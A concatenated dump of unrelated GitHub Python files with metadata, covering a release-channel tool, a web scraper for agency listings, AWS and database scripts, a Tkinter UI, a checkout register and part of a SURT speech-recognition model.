log(f\"Prepending new heading for {version}\")\n        lines[i:i] = [f\"## [{version}]({url_base}{diff_source}...HEAD) - TBD\\n\", \"\\n\", \"\\n\"]\n\n    with open(\"CHANGELOG.md\", \"w\") as f:\n        f.writelines(lines)\n\n\ndef bump_version(args):\n    log(f\"*** BUMPING VERSION NUMBER ***\")\n    if args.set:\n        version = get_version(args.set)\n    else:\n        if args.position not in (\"major\", \"minor\", \"patch\"):\n            raise Exception(f\"Unknown position {args.position}\")\n        version = get_version()\n        if args.position == \"major\":\n            version = version.bump_major()\n        elif args.position == \"minor\":\n            version = version.bump_minor()\n        elif args.position == \"patch\":\n            version = version.bump_patch()\n        version = version.replace(prerelease=\"dev\", build=None)\n    update_version(version)\n\n\ndef _main(argv):\n    parser = argparse.ArgumentParser(description=\"OpenDP channel tool\")\n    subparsers = parser.add_subparsers(dest=\"COMMAND\", help=\"Command to run\")\n    subparsers.required = True\n\n    subparser = subparsers.add_parser(\"initialize\", help=\"Initialize the channel\")\n    subparser.set_defaults(func=initialize)\n    subparser.add_argument(\"-c\", \"--channel\", choices=[\"nightly\", \"beta\", \"stable\"], default=\"nightly\", help=\"Which channel to target\")\n    subparser.add_argument(\"-s\", \"--sync\", dest=\"sync\", action=\"store_true\", default=True, help=\"Sync the channel from upstream\")\n    subparser.add_argument(\"-ns\", \"--no-nosync\", dest=\"sync\", action=\"store_false\", help=\"Don't sync the channel from upstream\")\n    subparser.add_argument(\"-u\", \"--upstream\", help=\"Upstream ref\")\n    subparser.add_argument(\"-p\", \"--preserve\", dest=\"preserve\", action=\"store_true\", default=False)\n    subparser.add_argument(\"-np\", \"--no-preserve\", dest=\"preserve\", action=\"store_false\")\n\n    subparser = subparsers.add_parser(\"date\", help=\"Generate release date\")\n    subparser.set_defaults(func=date)\n    subparser.add_argument(\"-z\", \"--time-zone\", help=\"Time zone for date resolution\")\n\n    subparser = subparsers.add_parser(\"configure\", help=\"Configure the channel\")\n    subparser.set_defaults(func=configure)\n    subparser.add_argument(\"-c\", \"--channel\", choices=[\"dev\", \"nightly\", \"beta\", \"stable\"], default=\"dev\", help=\"Which channel to target\")\n    subparser.add_argument(\"-d\", \"--date\", type=datetime.date.fromisoformat, help=\"Release date\")\n    subparser.add_argument(\"-i\", \"--counter\", type=int, default=0, help=\"Intra-date version counter\")\n\n    subparser = subparsers.add_parser(\"changelog\", help=\"Update the CHANGELOG file\")\n    subparser.set_defaults(func=changelog)\n    subparser.add_argument(\"-d\", \"--date\", type=datetime.date.fromisoformat, help=\"Release date\")\n    subparser.add_argument(\"-p\", \"--prepend\", dest=\"prepend\", action=\"store_true\", default=False, help=\"Prepend new empty heading (for dev only)\")\n    subparser.add_argument(\"-np\", \"--no-prepend\", dest=\"prepend\", action=\"store_false\", help=\"Don't prepend new empty heading (for dev only)\")\n\n    subparser = subparsers.add_parser(\"bump_version\", help=\"Bump the version number (assumes dev channel)\")\n    subparser.set_defaults(func=bump_version)\n    subparser.add_argument(\"-p\", \"--position\", choices=[\"major\", \"minor\", \"patch\"], default=\"minor\")\n    subparser.add_argument(\"-s\", \"--set\", help=\"Set the version to a specific value\")\n\n    args = parser.parse_args(argv[1:])\n    args.func(args)\n\n\ndef main():\n    _main(sys.argv)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"opendp/opendp","sub_path":"tools/channel_tool.py","file_name":"channel_tool.py","file_ext":"py","file_size_in_byte":11245,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"37"}
+{"seq_id":"30145932422","text":"from bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport chromedriver_autoinstaller\nimport pandas as pd\nfrom selenium.webdriver.common.by import By\nfrom dotenv import load_dotenv\n\nchromedriver_autoinstaller.install()\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('--ignore-certificate-errors')\noptions.add_argument('--incognito')\noptions.add_argument('--headless')\ndriver = webdriver.Chrome(options=options)\n\nprint(\"Getting company data!\")\n\ncompany_websites = []\ncompany_names = []\ntotal_pages = 322\n\nfor i in range(0,total_pages-1):\n    driver.get(f\"https://clutch.co/us/agencies/digital?page={i}\")\n\n    page_source = driver.page_source\n\n    soup = BeautifulSoup(page_source, 'lxml')\n\n    company_info = soup.find_all('h3', class_ = 'company_info')\n\n\n    for company in company_info:\n        if company.find('a'):\n            company_names.append(company.find('a').text.strip())\n\n    company_web_a_list = soup.find_all('a', class_ = 'website-link__item')\n\n    for company_web_a in company_web_a_list:\n        if '?' in company_web_a['href']:\n            company_websites.append(company_web_a['href'].rpartition('?')[0])\n        else:\n            company_websites.append(company_web_a['href'])\n    \n    if (i+1) % 2 == 0:\n        print(f\"Scraped {i+1} pages\")\n\n\nprint(company_websites);\n\ndf = pd.DataFrame({'Name': company_names, 'Website': company_websites})\n\ndf.to_csv('Scovelo.csv')\n\nprint(\"CSV file created successfully\")","repo_name":"gandhisamay/digital_marketing_bot","sub_path":"company_scraper.py","file_name":"company_scraper.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"24246063022","text":"class StateMachine:\n    def __init__(self):\n        self.handlers = {}\n        self.startState = None\n        self.endStates = []\n        self.curState = None\n\n    def add_state(self, name, handler):\n        name = name.upper()\n        self.handlers[name] = handler\n\n    def set_start(self, name):\n        self.startState = name.upper()\n\n    def go_to_state(self, name):\n        self.curState = name.upper()\n\n    def run(self, cargo):\n        if self.curState is None:\n            if self.startState is None:\n                raise Exception(\"must call .set_start() before .run()\")\n            self.curState = self.startState\n\n        ret = None\n        while ret is None:\n            try:\n                handler = self.handlers[self.curState]\n            except:\n                raise Exception(\"State \" + self.curState + \"does not exists\")\n                ret = handler(cargo)\n        return ret","repo_name":"AnthonyCAS/vsss2015_Strategy","sub_path":"lib/vsss/state_machine.py","file_name":"state_machine.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"11925370845","text":"import yaml\nfrom LVVTracer import LVVTracer\n\ndef test_lvv_pyyaml():\n    document = \"\"\"\n                  a: 1\n                  b:\n                    c: 3\n                    d: 4\n                \"\"\"\n    with LVVTracer(target_func = \"write_plain\") as traced:\n        yaml.dump(yaml.load(document, Loader=yaml.FullLoader))\n\n    answer = {'self': 257, 'end': 21, 'ch': 21, 'start': 14, 'data': 10, 'text': 7, 'split': 7, 'spaces': 7, 'breaks': 7}\n    assert traced.getLVVmap() == answer\n","repo_name":"KNU-SODA/LVVTracer","sub_path":"test_lvv2.py","file_name":"test_lvv2.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"74046917546","text":"import time\nimport Adafruit_CharLCD as LCD\nimport threading\n\n\nclass Screen:\n    def __init__(self, env='pi'):\n       self.lcd = None\n       self.config_screen()\n       self.auto_update_time()\n    \n    def config_screen(self):\n        lcd_rs        = 25 \n        lcd_en        = 24\n        lcd_d4        = 23\n        lcd_d5        = 17\n        lcd_d6        = 18\n        lcd_d7        = 22\n        lcd_backlight = 4\n        lcd_columns   = 16\n        lcd_rows      = 2\n        \n        self.lcd = LCD.Adafruit_CharLCD(\n            lcd_rs\n            , lcd_en\n            , lcd_d4\n            , lcd_d5\n            , lcd_d6\n            , lcd_d7\n            , lcd_columns\n            , lcd_rows\n            , lcd_backlight\n        )\n        \n        self.lcd.home()\n        self.lcd.clear()\n        self.lcd.autoscroll(False)\n\n    def auto_update_time(self):\n        t = threading.Thread(target=self.display_time, args=(1,), daemon=True)\n        t.start()\n    \n    def get_date_time(self):\n       current_date = time.strftime('%a %b %d, 20%y')\n       current_time = time.strftime('%H:%M:%S')\n       return current_date + '\\n' + current_time\n            \n   \n    def display_time(self, name=None):\n        date_time = self.get_date_time()\n        self.lcd.message(date_time)\n\n        while True:\n            current_date_time = self.get_date_time()\n            col = 0\n            row = 0\n            # print(\"current_date_time: \" + current_date_time)\n            for c in current_date_time:\n                # print(c + '-' + date_time[col])\n                if c != date_time[col]:\n                    if col == len(date_time) - 7:\n                        self.lcd.clear()\n                        self.lcd.message(date_time)\n                    else:\n                        self.lcd.set_cursor(col, row)\n                        self.lcd.write8(ord(c), char_mode=True)\n\n                if c == '\\n':\n                    row = row + 1\n                    col = - 1\n                col = col + 1\n            \n            #if row == 1:\n             #  while col <= 8:\n              #     self.lcd.write8(ord(' '), char_mode=True)\n               #    col = col + 1\n\n            date_time = current_date_time\n            time.sleep(1)\n\nif __name__ == '__main__':\n    screen = Screen()\n\n\n","repo_name":"Klubas/ClockPi","sub_path":"controller/Screen.py","file_name":"Screen.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37940772418","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('Alexandra', '0014_auto_20150303_2256'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='post',\n            name='text_content',\n            field=models.FileField(max_length=200, upload_to=b''),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"ryhavens/piper","sub_path":"Alexandra/migrations/0015_auto_20150303_2259.py","file_name":"0015_auto_20150303_2259.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6528329601","text":"import boto3\n\nsession = boto3.Session()\n\ndef get_instance_name(tags):\n    for tag in tags:\n        if tag['Key'] == 'Name':\n            return tag['Value']\n    return 'N/A'\n\ndef list_ec2_instances():\n    ec2 = session.client('ec2')\n    response = ec2.describe_instances()\n    \n    instances = []\n\n    for reservation in response['Reservations']:\n        for instance in reservation['Instances']:\n            instance_id = instance['InstanceId']\n            instance_type = instance['InstanceType']\n            state = instance['State']['Name']\n            instance_name = get_instance_name(instance.get('Tags', []))\n            instances.append([instance_id, instance_name, instance_type, state])\n\n    return instances\n\nec2_data = list_ec2_instances()\n\n\nif ec2_data:\n    headers = [\"Instance ID\", \"Name\", \"Instance Type\", \"State\"]\n\n    from tabulate import tabulate\n    table = tabulate(ec2_data, headers=headers, tablefmt=\"pretty\")\n    print(table)\nelse:\n    print(\"No EC2 instances found.\")\n","repo_name":"MuhammadAhsanDonuts/python_automation_aws_boto3","sub_path":"AWS/ec2List.py","file_name":"ec2List.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71135593386","text":"from tkinter import *\nfrom tkinter import ttk\nfrom Bone import *\n\nskeleton = {\n    1: Bone(-0.42, 0.1, 0.02, 0.002, 0.234),\n    4: Bone(4, 0.042, 0.32, 0.23, -0.32),\n    11: Bone(11, 1, -0.23, -0.42, 0.42),\n    95: Bone(95, -0.93, 0.32, 0.346, 0.31),\n}\n\n\nroot = Tk()\nroot.geometry(\"400x600\")\n\nboneID = Label(root, text=\"ID: 1\")\nboneID.grid(row=1, column=1, sticky=W, padx=(0, 15))\n\nw = Label(root, text=\"-0.42\")\nw.grid(row=1, column=2, sticky=W)\n\nx = Label(root, text=\"0.02\")\nx.grid(row=1, column=4, sticky=W)\n\ny = Label(root, text=\"0.002\")\ny.grid(row=1, column=6, sticky=W)\n\nz = Label(root, text=\"0.234\")\nz.grid(row=1, column=8, sticky=W)\n\nwPlusBtn = Button(root, text=\"+\")\nwPlusBtn.grid(row=2, column=2)\nwMinusBtn = Button(root, text=\"-\")\nwMinusBtn.grid(row=2, column=3, padx=(0, 15))\n\nxPlusBtn = Button(root, text=\"+\")\nxPlusBtn.grid(row=2, column=4)\nxMinusBtn = Button(root, text=\"-\")\nxMinusBtn.grid(row=2, column=5, padx=(0, 15))\n\nyPlusBtn = Button(root, text=\"+\")\nyPlusBtn.grid(row=2, column=6)\nyMinusBtn = Button(root, text=\"-\")\nyMinusBtn.grid(row=2, column=7, padx=(0, 15))\n\nzPlusBtn = Button(root, text=\"+\")\nzPlusBtn.grid(row=2, column=8)\nzMinusBtn = Button(root, text=\"-\")\nzMinusBtn.grid(row=2, column=9, padx=(0, 15))\n\nroot.mainloop()\n","repo_name":"growcacti/Useful-tkinter-code_snips","sub_path":"Other Misc/bone wtf.py","file_name":"bone wtf.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29604077654","text":"import cv2 as cv\r\nimport numpy\r\nimport pytesseract\r\nfrom PIL import Image\r\npytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe'\r\n\r\n# Directory of the check\r\nimg = Image.open('C:\\\\')\r\n\r\nlength,width = img.size\r\nimg = img.crop((400,900,1200,1100))\r\nimg = img.convert('RGB')\r\nnameOnCheck = numpy.array(img)\r\nnameOnCheck = nameOnCheck[:, :, ::-1]\r\nimg.show()\r\n\r\ntext = pytesseract.image_to_string(nameOnCheck)\r\n\r\nprint(text)\r\n","repo_name":"EnderWater/Check-reader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"11237715229","text":"from typing import List, Dict\n\nfrom .display import Display\nfrom .catalog import Catalog, Item\nfrom .prices import random_price\nfrom .state import State\nfrom .transaction import Transaction\n\n\nclass Checkout(object):\n    def __init__(self, display: Display, catalog: Catalog = None):\n        self.display: Display = display\n        self.catalog: Catalog = catalog if catalog is not None else Catalog()\n        self.state: State = State.READY_TO_SCAN\n        self.transactions: List[Transaction] = []\n        self.curr_txn: Transaction = Transaction()\n        self.new_item: Dict[str, str] = {\n            'code': '',\n            'label': '',\n            'price': '',\n        }\n\n        display.change_state(self.state)\n\n    def change_state(self, s: State):\n        self.state = s\n        self.display.change_state(s)\n\n    def commit_current_transaction(self):\n        item = self.catalog.lookup_item_by_code(self.curr_txn.raw.lower())\n        if item is not None:\n            self.curr_txn.label = item.label\n            self.curr_txn.price = item.price\n        if self.curr_txn.label is None:\n            self.curr_txn.label = self.curr_txn.raw\n        if self.curr_txn.price is None:\n            self.curr_txn.price = random_price()\n\n        self.transactions.append(self.curr_txn)\n        self.display.add_transaction(self.curr_txn)\n        self.curr_txn = Transaction()\n\n    def clear_transactions(self):\n        self.curr_txn = Transaction()\n        self.transactions = []\n\n    def commit_new_item(self):\n        self.catalog.add_custom_item(Item(\n            code=self.new_item['code'],\n            label=self.new_item['label'],\n            price=float(self.new_item['price']),\n        ))\n        self.reset()\n\n    def reset(self):\n        self.transactions = []\n        self.curr_txn = Transaction()\n        self.new_item = {\n            'code': '',\n            'label': '',\n            'price': '',\n        }\n\n    def handle_input(self, c, multiline: bool = False):\n        if self.state == State.READY_TO_SCAN:\n            if c == '/':\n                self.change_state(State.ADD_ITEM_CODE)\n            else:\n                self.curr_txn.raw += c\n                self.change_state(State.SCAN)\n\n        elif self.state == State.SCAN or self.state == State.MANUAL_ENTRY:\n            if c == '\\n':\n                self.commit_current_transaction()\n            elif c == '*':\n                self.display.set_total(self.get_total())\n                self.change_state(State.READY_TO_PAY)\n            else:\n                self.curr_txn.raw += c\n\n        elif self.state == State.READY_TO_PAY:\n            if c == '\\n':\n                if multiline:\n                    self.change_state(State.PAID_MULTILINE)\n                else:\n                    self.change_state(State.PAID)\n\n        elif self.state == State.PAID_MULTILINE:\n            if c == '\\n':\n                self.change_state(State.PAID)\n\n        elif self.state == State.PAID:\n            self.clear_transactions()\n            self.curr_txn.raw += c\n            self.change_state(State.SCAN)\n\n        elif self.state == State.ADD_ITEM_CODE:\n            if c != '\\r':\n                self.display.echo(c)\n            if c == '\\n':\n                self.change_state(State.ADD_ITEM_LABEL)\n            else:\n                self.new_item['code'] += c\n\n        elif self.state == State.ADD_ITEM_LABEL:\n            if c != '\\r':\n                self.display.echo(c)\n            if c == '\\n':\n                self.change_state(State.ADD_ITEM_PRICE)\n            else:\n                self.new_item['label'] += c\n\n        elif self.state == State.ADD_ITEM_PRICE:\n            if c != '\\r':\n                self.display.echo(c)\n            if c == '\\n':\n                self.commit_new_item()\n                self.change_state(State.READY_TO_SCAN)\n            else:\n                self.new_item['price'] += c\n\n        else:\n            self.reset()\n            self.change_state(State.READY_TO_SCAN)\n\n    def get_transactions(self):\n        return self.transactions\n\n    def get_total(self):\n        return sum([t.price for t in self.transactions])\n","repo_name":"edutko/beepy-thingy","sub_path":"checkout/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15462500111","text":"import json\r\nimport psycopg2\r\nimport os\r\nfrom datetime import datetime\r\nimport hashlib\r\nfrom urllib.parse import parse_qs\r\nfrom urllib.parse import parse_qsl\r\nimport base64\r\nimport time\r\n\r\nepoch_time = int(time.time())\r\n\r\n \r\nDB_HOST = \"your_db_host\"\r\nDB_NAME = \"your_db_name\"\r\nDB_USER = \"your_db_user\"\r\nDB_PASSWORD = \"your_db_password\"\r\nDB_PORT = \"your_db_port\"\r\n\r\n\r\ndef magic_convert_date(date_input):\r\n    time_format = \"%Y-%m-%d %H:%M:%S\"\r\n    try:\r\n        date_input = int(date_input)\r\n        return time.strftime(time_format, time.localtime(date_input))\r\n    except ValueError:\r\n        return int(time.mktime(time.strptime(date_input, time_format)))\r\n\r\n\r\ndef lambda_handler(event, context):\r\n    # New keys\r\n    request_body = event['body']\r\n    body = base64.b64decode(request_body).decode('utf-8')\r\n    data = parse_qs(body)\r\n    print(json.dumps(data))\r\n    mother_name = data[\"mother_name\"][0]\r\n    baby_name = data[\"name\"][0]\r\n    baby_surname = data[\"surname\"][0]\r\n    baby_gender = data[\"gender\"][0]\r\n    birth_date = data[\"birth_date\"][0]\r\n    birth_hour = data[\"birth_hour\"][0]\r\n    gestation_week = data[\"gestation_week\"][0]\r\n    gestation_week_plus_day = data[\"gestation_week_plus_day\"][0]\r\n    birth_weight = data[\"birth_weight\"][0]\r\n    birth_type = data[\"birth_type\"][0]\r\n    doctor_id = data[\"doctor_id\"][0]\r\n\r\n    # Creating baby_id\r\n    baby_md5_str = baby_name + baby_surname + birth_date + birth_hour\r\n    baby_id = hashlib.md5(baby_md5_str.encode())\r\n    baby_id = baby_id.hexdigest()\r\n    \r\n    # Connect to the PostgreSQL database\r\n    conn = psycopg2.connect(\r\n        host=DB_HOST,\r\n        database=DB_NAME,\r\n        user=DB_USER,\r\n        password=DB_PASSWORD,\r\n        port=DB_PORT\r\n    )\r\n\r\n    # Execute SQL Query\r\n    cursor = conn.cursor()\r\n    cursor.execute(\"INSERT INTO baby_table (baby_id, mother_name, baby_name, baby_surname,\\\r\n                    baby_gender, birth_date, birth_hour, gestation_week, gestation_week_plus_day,\\\r\n                    birth_weight, birth_type, doctor_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\",\r\n                    (baby_id, mother_name, baby_name, baby_surname, baby_gender, birth_date, birth_hour,\r\n                     gestation_week, gestation_week_plus_day, birth_weight, birth_type,doctor_id))\r\n\r\n    conn.commit()\r\n    if len(birth_hour) <2:\r\n        birth_hour = '0' + birth_hour\r\n    \r\n    baby_epoc = magic_convert_date(birth_date + ' ' + birth_hour + ':00:00')\r\n    \r\n    postgreSQL_select_Query2 = \"SELECT * from application_list WHERE week >= %s;\" # \r\n    cursor.execute(postgreSQL_select_Query2,(gestation_week,))\r\n    application_list = cursor.fetchall()\r\n    print(application_list)\r\n    for row in application_list:\r\n        \r\n        application_id = row[0]\r\n        application_name = row[1]\r\n        week =row[2]\r\n        duration = row[3]\r\n    \r\n        # INSERT querry\r\n        final_time = duration + baby_epoc\r\n        magic_time = magic_convert_date(final_time)\r\n        cursor.execute(\"INSERT INTO cron (time,status,application_name,application_id,timeh, doctor_id, baby_id)\\\r\n                        VALUES (%s, %s, %s, %s, %s, %s, %s)\", (final_time, 0, application_name,application_id,magic_time, doctor_id, baby_id))\r\n        conn.commit()\r\n    \r\n    \r\n\r\n    # Close the database connection\r\n    cursor.close()\r\n    conn.close()\r\n\r\n    # Return a success message\r\n    return {\r\n        'statusCode': 200,\r\n        'body': json.dumps({\"msg\":\"Successfully Created.\"})\r\n    }","repo_name":"turkalpmd/NICU-Newborn-Tracker","sub_path":"Lambda_functions/lambdas_on_use/baby_CREATE.py","file_name":"baby_CREATE.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"73951365866","text":"from typing import List, Optional, Tuple\n\nimport k2\nimport torch\nimport torch.nn as nn\nfrom encoder_interface import EncoderInterface\n\nfrom icefall.utils import add_sos\n\n\nclass SURT(nn.Module):\n    \"\"\"It implements Streaming Unmixing and Recognition Transducer (SURT).\n    https://arxiv.org/abs/2011.13148\n    \"\"\"\n\n    def __init__(\n        self,\n        mask_encoder: nn.Module,\n        encoder: EncoderInterface,\n        joint_encoder_layer: Optional[nn.Module],\n        decoder: nn.Module,\n        joiner: nn.Module,\n        num_channels: int,\n        encoder_dim: int,\n        decoder_dim: int,\n        joiner_dim: int,\n        vocab_size: int,\n    ):\n        \"\"\"\n        Args:\n          mask_encoder:\n            It is the masking network. It generates a mask for each channel of the\n            encoder. These masks are applied to the input features, and then passed\n            to the transcription network.\n          encoder:\n            It is the transcription network in the paper. Its accepts\n            two inputs: `x` of (N, T, encoder_dim) and `x_lens` of shape (N,).\n            It returns two tensors: `logits` of shape (N, T, encoder_dm) and\n            `logit_lens` of shape (N,).\n          decoder:\n            It is the prediction network in the paper. Its input shape\n            is (N, U) and its output shape is (N, U, decoder_dim).\n            It should contain one attribute: `blank_id`.\n          joiner:\n            It has two inputs with shapes: (N, T, encoder_dim) and (N, U, decoder_dim).\n            Its output shape is (N, T, U, vocab_size). Note that its output contains\n            unnormalized probs, i.e., not processed by log-softmax.\n          num_channels:\n            It is the number of channels that the input features will be split into.\n            In general, it should be equal to the maximum number of simultaneously\n            active speakers. For most real scenarios, using 2 channels is sufficient.\n        \"\"\"\n        super().__init__()\n        assert isinstance(encoder, EncoderInterface), type(encoder)\n        assert hasattr(decoder, \"blank_id\")\n\n        self.mask_encoder = mask_encoder\n        self.encoder = encoder\n        self.joint_encoder_layer = joint_encoder_layer\n        self.decoder = decoder\n        self.joiner = joiner\n        self.num_channels = num_channels\n\n        self.simple_am_proj = nn.Linear(\n            encoder_dim,\n            vocab_size,\n        )\n        self.simple_lm_proj = nn.Linear(decoder_dim, vocab_size)\n\n        self.ctc_output = nn.Sequential(\n            nn.Dropout(p=0.1),\n            nn.Linear(encoder_dim, vocab_size),\n            nn.LogSoftmax(dim=-1),\n        )\n\n    def forward_helper(\n        self,\n        x: torch.Tensor,\n        x_lens: torch.Tensor,\n        y: k2.RaggedTensor,\n        prune_range: int = 5,\n        am_scale: float = 0.0,\n        lm_scale: float = 0.0,\n        reduction: str = \"sum\",\n        beam_size: int = 10,\n        use_double_scores: bool = False,\n        subsampling_factor: int = 1,\n    ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n        \"\"\"\n        Compute transducer loss for one branch of the SURT model.\n        \"\"\"\n        encoder_out, x_lens = self.encoder(x, x_lens)\n        assert torch.all(x_lens > 0)\n\n        if self.joint_encoder_layer is not None:\n            encoder_out = self.joint_encoder_layer(encoder_out)\n\n        # compute ctc log-probs\n        ctc_output = self.ctc_output(encoder_out)\n\n        # For the decoder, i.e., the prediction network\n        row_splits = y.shape.row_splits(1)\n        y_lens = row_splits[1:] - row_splits[:-1]\n\n        blank_id = self.decoder.blank_id\n        sos_y = add_sos(y, sos_id=blank_id)\n\n        # sos_y_padded: [B, S + 1], start with SOS.\n        sos_y_padded = sos_y.pad(mode=\"constant\", padding_value=blank_id)\n\n        # decoder_out: [B, S + 1, decoder_dim]\n        decoder_out = self.decoder(sos_y_padded)\n\n        # Note: y does not start with SOS\n        # y_padded : [B, S]\n        y_padded = y.pad(mode=\"constant\", padding_value=0)\n\n        y_padded = y_padded.to(torch.int64)\n        boundary = torch.zeros((x.size(0), 4), dtype=torch.int64, device=x.device)\n        boundary[:, 2] = y_lens\n        boundary[:, 3] = x_lens\n\n        lm = self.simple_lm_proj(decoder_out)\n        am = self.simple_am_proj(encoder_out)\n\n        with torch.cuda.amp.autocast(enabled=False):\n            simple_loss, (px_grad, py_grad) = k2.rnnt_loss_smoothed(\n                lm=lm.float(),\n                am=am.float(),\n                symbols=y_padded,\n                termination_symbol=blank_id,\n                lm_only_scale=lm_scale,\n                am_only_scale=am_scale,\n                boundary=boundary,\n                reduction=reduction,\n                return_grad=True,\n            )\n\n        # ranges : [B, T, prune_range]\n        ranges = k2.get_rnnt_prune_ranges(\n            px_grad=px_grad,\n            py_grad=py_grad,\n            boundary=boundary,\n            s_range=prune_range,\n        )\n\n        # am_pruned : [B, T, prune_range, encoder_dim]\n        # lm_pruned : [B, T, prune_range, decoder_dim]\n        am_pruned, lm_pruned = k2.do_rnnt_pruning(\n            am=self.joiner.encoder_proj(encoder_out),\n            lm=self.joiner.decoder_proj(decoder_out),\n            ranges=ranges,\n        )\n\n        # logits : [B, T, prune_range, vocab_size]\n\n        # project_input=False since we applied the decoder's input projections\n        # prior to do_rnnt_pruning (this is an optimization for speed).\n        logits = self.joiner(am_pruned, lm_pruned, project_input=False)\n\n        with torch.cuda.amp.autocast(enabled=False):\n            pruned_loss = k2.rnnt_loss_pruned(\n                logits=logits.float(),\n                symbols=y_padded,\n                ranges=ranges,\n                termination_symbol=blank_id,\n                boundary=boundary,\n                reduction=reduction,\n            )\n\n        # Compute ctc loss\n        supervision_segments = torch.stack(\n            (\n                torch.arange(len(x_lens), device=\"cpu\"),\n                torch.zeros_like(x_lens, device=\"cpu\"),\n                torch.clone(x_lens).detach().cpu(),\n            ),\n            dim=1,\n        ).to(torch.int32)\n        # We need to sort supervision_segments in decreasing order of num_frames\n        indices = torch.argsort(supervision_segments[:, 2], descending=True)\n        supervision_segments = supervision_segments[indices]\n\n        # Works with a BPE model\n        decoding_graph = k2.ctc_graph(y, modified=False, device=x.device)\n        dense_fsa_vec = k2.DenseFsaVec(\n            ctc_output,\n            supervision_segments,\n            allow_truncate=subsampling_factor - 1,\n        )\n        ctc_loss = k2.ctc_loss(\n            decoding_graph=decoding_graph,\n            dense_fsa_vec=dense_fsa_vec,\n            output_beam=beam_size,\n            reduction=\"none\",\n            use_double_scores=use_double_scores,\n        )\n\n        return (simple_loss, pruned_loss, ctc_loss)\n\n    def forward(\n        self,\n        x: torch.Tensor,\n        x_lens: torch.Tensor,\n        y: k2.RaggedTensor,\n        prune_range: int = 5,\n        am_scale: float = 0.0,\n        lm_scale: float = 0.0,\n        reduction: str = \"sum\",\n        beam_size: int = 10,\n        use_double_scores: bool = False,\n        subsampling_factor: int = 1,\n        return_masks: bool = False,\n    ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n        \"\"\"\n        Args:\n          x:\n            A 3-D tensor of shape (N, T, C).\n          x_lens:\n            A 1-D tensor of shape (N,). It contains the number of frames in `x`\n            before padding.\n          y:\n            A ragged tensor of shape (N*num_channels, S). It contains the labels\n            of the N utterances. The labels are in the range [0, vocab_size). All\n            the channels are concatenated together one after another.\n          prune_range:\n            The prune range for rnnt loss, it means how many symbols(context)\n            we are considering for each frame to compute the loss.\n          am_scale:\n            The scale to smooth the loss with am (output of encoder network)\n            part\n          lm_scale:\n            The scale to smooth the loss with lm (output of predictor network)\n            part\n          reduction:\n            \"sum\" to sum the losses over all utterances in the batch.\n            \"none\" to return the loss in a 1-D tensor for each utterance\n            in the batch.\n          beam_size:\n            The beam size used in CTC decoding.\n          use_double_scores:\n            If True, use double precision for CTC decoding.\n          subsampling_factor:\n            The subsampling factor of the model. It is used to compute the\n            supervision segments for CTC loss.\n          return_masks:\n            If True, return the masks as well as masked features.\n        Returns:\n          Return the transducer loss.\n\n        Note:\n           Regarding am_scale & lm_scale, it will make the loss-function one of\n           the form:\n              lm_scale * lm_probs + am_scale * am_probs +\n              (1-lm_scale-am_scale) * combined_probs\n        \"\"\"\n        assert x.ndim == 3, x.shape\n        assert x_lens.ndim == 1, x_lens.shape\n        assert y.num_axes == 2, y.num_axes\n\n        assert x.size(0) == x_lens.size(0), (x.size(), x_lens.size())\n\n        # Apply the mask encoder\n        B, T, F = x.shape\n        processed = self.mask_encoder(x)  # B,T,F*num_channels\n        masks = processed.view(B, T, F, self.num_channels).unbind(dim=-1)\n        x_masked = [x * m for m in masks]\n\n        # Recognition\n        # Stack the inputs along the batch axis\n        h = torch.cat(x_masked, dim=0)\n        h_lens = torch.cat([x_lens for _ in range(self.num_channels)], dim=0)\n\n        simple_loss, pruned_loss, ctc_loss = self.forward_helper(\n            h,\n            h_lens,\n            y,\n            prune_range,\n            am_scale,\n            lm_scale,\n            reduction=reduction,\n            beam_size=beam_size,\n            use_double_scores=use_double_scores,\n            subsampling_factor=subsampling_factor,\n        )\n\n        # Chunks the outputs into 2 parts along batch axis and then stack them along a new axis.\n        simple_loss = torch.stack(\n            torch.chunk(simple_loss, self.num_channels, dim=0), dim=0\n        )\n        pruned_loss = torch.stack(\n            torch.chunk(pruned_loss, self.num_channels, dim=0), dim=0\n        )\n        ctc_loss = torch.stack(torch.chunk(ctc_loss, self.num_channels, dim=0), dim=0)\n\n        if return_masks:\n            return (simple_loss, pruned_loss, ctc_loss, x_masked, masks)\n        else:\n            return (simple_loss, pruned_loss, ctc_loss, 